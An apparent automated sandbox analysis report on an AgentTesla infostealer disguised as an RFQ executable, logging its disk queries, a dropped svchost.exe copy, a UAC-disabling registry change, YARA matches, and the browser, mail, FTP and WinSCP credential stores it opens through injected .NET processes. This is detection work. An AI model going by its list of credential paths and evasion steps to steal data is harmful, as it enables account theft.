Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.AddIn\v4.0_4.0.0.0__b77a5c561934e089\System.AddIn.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.AddIn\v4.0_4.0.0.0__b77a5c561934e089\System.AddIn.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\AppData\Roaming\svchost.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: Amcache.hve.18.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 8676, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 8676, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
